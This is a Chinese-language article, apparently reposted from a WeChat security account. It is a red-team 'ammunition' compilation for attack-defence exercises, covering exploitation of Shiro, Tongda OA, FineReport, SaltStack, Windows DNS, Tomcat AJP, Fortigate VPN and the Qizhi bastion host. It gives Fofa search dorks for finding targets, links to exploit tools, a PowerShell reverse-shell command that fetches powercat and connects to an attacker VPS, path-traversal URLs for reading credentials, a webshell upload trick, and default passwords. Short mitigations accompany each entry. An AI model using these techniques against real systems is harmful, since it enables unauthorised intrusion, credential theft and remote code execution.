> 本文由 [简悦 SimpRead](http://ksria.com/simpread/) 转码, 原文地址 [mp.weixin.qq.com](https://mp.weixin.qq.com/s/vKM1oikHxLe49ZQrI8ThGQ)
转载自:乌云安全
一年一度的 HW 来了,是时候充实一波自己的漏洞库了,红方漏洞利用总结送给大家!
1
1. 漏洞简介
Apache Shiro 是企业常见的 Java 安全框架, 其漏洞在 2019 年攻防演练中起到显著作用
2. 影响组件
Apache Shiro (由于密钥泄露的问题, 部分高于 1.2.4 版本的 Shiro 也会受到影响)
3. 漏洞指纹
set-Cookie:rememberMe=deleteMe 或者 URL 中有 shiro 字样有一些时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可
4. Fofa Dork
app="Apache-Shiro"
5. 漏洞分析
漏洞分析:Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞
https://paper.seebug.org/shiro-rememberme-1-2-4/
6. 漏洞利用
wyzxxz/shiro_rce:shiro rce 反序列命令执行一键工具
https://github.com/wyzxxz/shiro\_rce
Apache Shiro 回显 poc 改造计划
https://mp.weixin.qq.com/s/-ODg9xL838wro2S_NK30bw
7. 利用技巧
1. 使用多个泄露的 key 进行遍历, 这个在实战中确实有效
关于 Shiro 反序列化漏洞的延伸—升级 shiro 也能被 shell
https://mp.weixin.qq.com/s/NRx-rDBEFEbZYrfnRw2iDw
Shiro 100 Key
https://mp.weixin.qq.com/s/sclSe2hWfhv8RZvQCuI8LA
2. 使用 URLDNS 进行检测提速
使用适应性最强的 URLDNS(这个不受 JDK 版本和安全策略影响, 除非网络限制不能出 DNS) 进行检测且可以使用 ysoserial 提前生成序列化内容 java-jartarget/ysoserial-0.0.5-SNAPSHOT-all.jarURLDNS "http://1234567890.test.ceye.io" > urldns.ser 然后使用占位符 + 目标 url hash 的方法修改序列化内容中的 urldns 地址提高检测速度以及后续检测无需使用 ysoserial
例如 1234567890.test.ceye.io 可以换成 md5('www.qq.com').hexdigest() [:10].test.ceye.io 也就是 9d2c68d82d.test.ceye.io 可以预先记录 hash9d2c68d82d www.qq.com 然后进行 hash 查表就可以知道是 DNSLOG 来自哪个目标, 性能会提高不少
3. 已知目标使用了 Shiro, 可以采取 Shiro-721 的报错逻辑来进行遍历 key 这样即使 DNS 不能出网, 也可以通过是否返回 rememberMe=deleteMe 来断定 shiro key 的正确性, 前提是服务器有 rememberMe=deleteMe 相关回显
8. 防护方法
1. 升级 Shiro 到最新版
2. 升级对应 JDK 版本到 8u191/7u201/6u211/11.0.1 以上
3.WAF 拦截 Cookie 中长度过大的 rememberMe 值
2
1. 漏洞简介
通达 OA 在国内的用户也比较多, 虽说代码加了密, 奈何是 Zend5.4, 解码很简单, 然后代码中的漏洞就很清楚, 尤其是变量覆盖和注入
2. 影响组件
通达 OA
3. 漏洞指纹
"/images/tongda.ico">
Office Anywhere 20xx 版网络智能办公系统
/ispirit/interface/gateway.php
4. Fofa Dork
app="通达 OA"
5. 漏洞分析
note/readme.md at c28f7b232ad5f0ff7ccc672bbedcd34e9e3cca86 leezp/note
https://github.com/leezp/note/blob/c28f7b232ad5f0ff7ccc672bbedcd34e9e3cca86/20200313%E9%80%9A%E8%BE%BEOA/readme.md
代码审计 | 通达 OA 任意用户登录漏洞(匿名 RCE)分析 | zrools
https://www.zrools.org/2020/04/23/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-%E9%80%9A%E8%BE%BEOA-%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E%EF%BC%88%E5%8C%BF%E5%90%8DRCE%EF%BC%89%E5%88%86%E6%9E%90/
6. 漏洞利用
NS-Sp4ce/TongDaOA-Fake-User: 通达 OA 任意用户登录漏洞
https://github.com/NS-Sp4ce/TongDaOA-Fake-User
tools/tongda_v11.4_rce_exp.py at master · zrools/tools 管理员伪造后 sql 写 shell
https://github.com/zrools/tools/blob/master/python/tongda\_v11.4\_rce\_exp.py
7. 利用技巧
1. 这个漏洞也很简单, 发预警的当天就分析出来了, 一个上传, 一个包含, 主要是文件包含漏洞的 / ispirit/interface/gateway.php 文件在 v11 才有绕过 disable_function 也很简单, 直接调用 COM('WScript.shell') 组件就 ok 了
2. 文件名结构规则如下
256@2003_ 2055499620|123. php.
对应文件名为
attach/im/2003/2055499620.123.php
因为是 windows 的, 1.php. 可以绕过黑名单, 写到文件就成了 1.php
3.2020 年 4 月 20 号爆出任意用户伪造登录, 这里小伙伴测试 2017 和 v11 的 poc 好像可以用
通达 OA 前台任意用户伪造登录漏洞
https://vas.riskivy.com/vuln-detail?id=33
NS-Sp4ce/TongDaOA-Fake-User: 通达 OA 任意用户登录漏洞
https://github.com/NS-Sp4ce/TongDaOA-Fake-User
8. 防护方法
1. 及时更新补丁
2. 使用 waf 拦截
3
1. 漏洞简介
帆软报表 (seeyonreport) 很多时候会跟合致远 OA 一起出现, 通常用户还不知道, 所以这里有几个漏洞点
2. 影响组件
帆软报表 seeyonreport
3. 漏洞指纹
https://seeyoon.com/seeyonreport/ReportServer?op=fs\_load&cmd=fs\_signin&\_=1560911828892
seeyonreport
4. Fofa Dork
app="用友 - 致远 OA"
5. 漏洞分析
帆软报表 v8.0 Getshell 漏洞分析 | ADog’s Blog
http://foreversong.cn/archives/1378
6. 漏洞利用
帆软报表 v8.0 Getshell 漏洞分析 | ADog’s Blog
http://foreversong.cn/archives/1378
xray/finereport-directory-traversal.yml at master chaitin/xray
https://github.com/chaitin/xray/blob/master/pocs/finereport-directory-traversal.yml
7. 利用技巧
1. 未设置密码或者读取读取管理员密码
https://seeyoon.com/seeyonreport/ReportServer?op=fs\_load&cmd=fs\_signin&\_=1560911828892
这里很有可能是没有设置密码的, 修改密码进入后台就可以了
如果设置里密码, 尝试这个接口
/report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml, 读取管理员密码, 然后使用上文的解密程序解密
2. 后台 getshell
这种后台能装插件的都随便 getshell,先去下载一个指定版本的 jar 包,本地测试环境是 9.0,下载 com.fr.plugin.external-1.3.4.zip
https://shop.finereport.com/plugin/2d36b210-2a59-4940-8c4f-f3f16d58cd66
http://shopps.finereport.com/com.fr.plugin.external-1.3.4.zip?e=1561433162&token=GYG9vMioxqbEgx-5HoAMAelD0zGdUrXT4UZ3w-d1:N-PeIkhKkjCY7LHdqelnSvp\_LmA= 编译一个恶意的 LocaleFinder.class 打包进去,复制 LocaleFinder.class 到
\com.fr.plugin.external-1.3.4.zip\fr-plugin-external-1.3.4\fr-plugin-external-1.3.4.jar\com\fr\plugin\external\locale\ 进入到插件管理界面, 上传符合规范的 jar 包插件即可没生效就访问一下 https://xxxx/seeyonreport/ReportServer?op=im 一般后台都是 win, 可以直接使用 powershell 进行反弹 shellpowershell
IEX(New-Object System.Net.Webclient).
DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');
powercat -c vps_ip -p 6666 -e cmd
8. 防护方法
1. 及时更新补丁
2. 使用 waf 拦截
4
1**、漏洞概述**
在 CVE-2020-11651 认证绕过漏洞中攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞:
ClearFuncs 类会处理非认证的请求和暴露_send_pub() 方法,可以用来直接在 master publish 服务器上对消息进行排队。这些消息可以用来触发 minion 来以 root 权限运行任意命令。
ClearFuncs 类还会暴露 prep_auth_info() 方法,该方法会返回用来认证 master 服务器上本地 root 用户的命令的 root key。然后 root key 就可以远程调用 master 服务器的管理命令。这种无意的暴露提供给远程非认证的攻击者对 salt master 的与 root 权限等价的访问权限。
2**、影响版本**
l SaltStack < 2019.2.4
l SaltStack < 3000.2
3**、环境搭建**
直接使用 vulhub 进行搭建
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/saltstack/CVE-2020-11651/
docker-compose up -d
查看环境是否启动 docker ps
4**、漏洞复现**
Poc:
https://github.com/jasperla/CVE-2020-11651-poc
执行前需要安装 salt 库,需指定 salt 库版本
pip3 install salt==2019.2.3
读取文件:
python3 exploit.py --master 192.168.232.170 -r /etc/passwd
5**、修复方式**
1、SaltStack 官方已发布最新版本修复此漏洞,建议相关用户及时更新至安全版本及其以上,并开启 SaltStack 自动更新,以便实时获取补丁或升级至安全版本:https://repo.saltstack.com/
2、禁止将 Salt Master 默认监听端口(4505、4506)向公网开放,并设置为仅对可信对象开放。
5
1**、漏洞详情**
Windows DNS Server 是 Windows Server 服务器上一项重要功能组件。负责域内主机的所有 DNS 相关服务的调度和处理。远程攻击者可不经过身份验证,向受影响的服务器发送特制的请求包,最终触发该漏洞,成功利用此漏洞的攻击者可在受影响的系统上执行任意代码。进而控制其他相连通的服务造成严重危害。
2**、影响版本**
-
Windows Server 2008 for 32-bit Systems Service Pack 2
-
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
-
Windows Server 2008 for x64-based Systems Service Pack 2
-
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core inastallation)
-
Windows Server 2008 R2 for x64-based Systems Service Pack 1
-
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
-
Windows Server 2012
-
Windows Server 2012 (Server Core installation)
-
Windows Server 2012 R2
-
Windows Server 2012 R2 (Server Core installation)
-
Windows Server 2016
-
Windows Server 2016 (Server Core installation)
-
Windows Server 2019
-
Windows Server 2019 (Server Core installation)
-
Windows Server version 1909 (Server Core installation)
-
Windows Server version 1903 (Server Core installation)
-
Windows Server version 2004 (Server Core installation)
3**、利用场景**
(1)受害者访问攻击者域名 "evil.server.io"
(2)本地 DNS 服务器或域内的 DNS 服务器无法解析 "evil.server.io",向 google DNS 服务器(如 8.8.8.8)查询
(3)查到后,发现该域名可以由攻击者 DNS 服务器解析,所以将该信息缓存到域服务器上
(4)第二次查询时,直接和攻击者 DNS 服务器进行查询
(5)此时攻击者服务器就可以构造响应包触发漏洞
EXP:CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit
https://github.com/maxpl0it/CVE-2020-1350-DoS
4**、修复建议**
微软提供了临时的缓解措施:
修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters 值:TcpReceivePacketSize 数据类型 DWORD = 0xFF00
注意:必须重新启动 DNS 服务才能生效。
有关更多信息,请参阅 KB4569509:DNS 服务器漏洞 CVE-2020-1350 指南:
https://support.microsoft.com/zh-cn/help/4569509/windows-dns-server-remote-code-execution-vulnerability
若要移除此临时解决方法:
应用修补程序后,管理员可以移除值 TcpReceivePacketSize 及其数据,以使注册表项
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters 下的所有其他内容与之前保持相同。
手动升级方案:
通过如下链接自行寻找符合操作系统版本的漏洞补丁,并进行补丁下载安装。
CVE-2020-1350 | Windows DNS 服务器远程执行代码漏洞
https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1350
6
1. 漏洞简介
Tomcat 是常见的 Web 容器, 用户量非常巨大, Tomcat 8009 ajp 端口一直是默认开放的, 这个漏洞存在很多年了, 这次应该有奇效
2. 影响组件
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
3. Fofa Dork
protocol="ajp"
4. 漏洞分析
Apache Tomcat AJP 协议文件包含漏洞分析–斗象能力中心
5**、漏洞利用**
0nise/CVE-2020-1938: CVE-2020-1938
https://github.com/0nise/CVE-2020-1938
6. 利用技巧
1. 当时还没公开 poc 的时候就分析出来 exp 挺有意思的, 效果确实还可以, 当天 fofa 都被累挂了
主要代码也就这 t = Tomcat("127.0.0.1", 8009)
_, data = t.perform_request('/',
attributes=[{'name': 'req_attribute',
'value': ['javax.servlet.include.request_uri', '/']
},
{'name': 'req_attribute',
'value': ['javax.servlet.include.path_info',
"/WEB-INF/web.xml"]
},
{'name': 'req_attribute',
'value': ['javax.servlet.include.servlet_path',
'/']
},
])
print('----------------------------')
print("".join([bytes.decode(d.data) for d in data]))
2. 通过修改这里的路径可以进行 Webapp 切换, 默认是 ROOT/, 需要切换应用就改成 / admin/
3. 通常检测的时候, 尽量保持 t.perform_request('/', 有的 poc 喜欢用 / addsd 这种的不存在的路径, 有些情况会读不到文件
8. 防护方法
1. 升级到最新版
2. 屏蔽 8009 端口对外开放
7
1. 漏洞简介
Fortigate SSL VPN 在全球用户量巨大, 去年橘子哥发现了文件读取和远程代码执行漏洞
2. 影响组件
Fortigate SSL VPN
3. 漏洞指纹
Fortigate
4tinet2095866
4. Fofa Dork
"Fortigate" && port=10443
5. 漏洞分析
Orange: Attacking SSL VPN – Part 2: Breaking the Fortigate SSL VPN
https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html?m=1
6. 漏洞利用
密码读取
milo2012/CVE-2018-13379: CVE-2018-13379
https://github.com/milo2012/CVE-2018-13379
任意密码重置, 这肯定是个后门
milo2012/CVE-2018-13382: CVE-2018-13382
https://github.com/milo2012/CVE-2018-13382
7. 利用技巧
1. 文件读取的路径构造
https://xxxxxx:10443/remote/fgt\_lang?lang=/../../../..//////////dev/cmdb/sslvpn\_websession
如下 padding 可以构造出来任意文件读取, 可以读取其他文件, 注意这个系统好像没有 /etc/passwd print("/../../../../"+(raw_input().rjust(35, '/')))
2. 寻找魔术数字
虽然当时橘子哥没有公开魔术数字, 但是当时随手分析了一下下面这个启动文件, 搜索一下 magic 就找到 4tinet2095866,
https://xxxxxxxx:10443/remote/fgt\_lang?lang=/../../../../////////////////////////bin/sslvpnd
后来发现这个字符串在 js 里面也有, 直接从前台分析也可以获得
https://xxxxx:10443/sslvpn/js/lgin.js?q=5f9a6877fd1f78da768239aae6e739c2
8. 防护方法
1. 及时更新补丁
2. 升级到最新版
8
1. 漏洞简介
齐治堡垒机是国内使用比较多的堡垒机产品, 后端使用 PHP 编写
2. 影响组件
齐治堡垒机
3. 漏洞指纹
shterm
4. Fofa Dork
app="shterm - 堡垒机"
5. 漏洞分析
审计某系统从解密到 GetShell–云 + 社区–腾讯云
https://cloud.tencent.com/developer/article/1448700
齐治堡垒机远程命令执行漏洞(CNVD-2019-20835)分析–开发笔记
http://kfbiji.com/article/65b98114903248eb
6. 漏洞利用
齐治堡垒机远程命令执行漏洞(CNVD-2019-20835)分析–开发笔记
http://kfbiji.com/article/65b98114903248eb
7. 利用技巧
1. 齐治堡垒机默认口令: shterm/shterm
2. 普通用户获取堡垒机权限, 登录之后可尝试命令注入
如果有类似 chrome 的应用可以直接使用 ctrl+o 打开窗口, 然后新建 bat, 起一个 cmd 或者其他的程序
8. 防护方法
1. 及时更新补丁
2. 升级到最新版
3. 做好权限控制
- 参考 -
2020 攻防演练弹药库
往期文章推荐: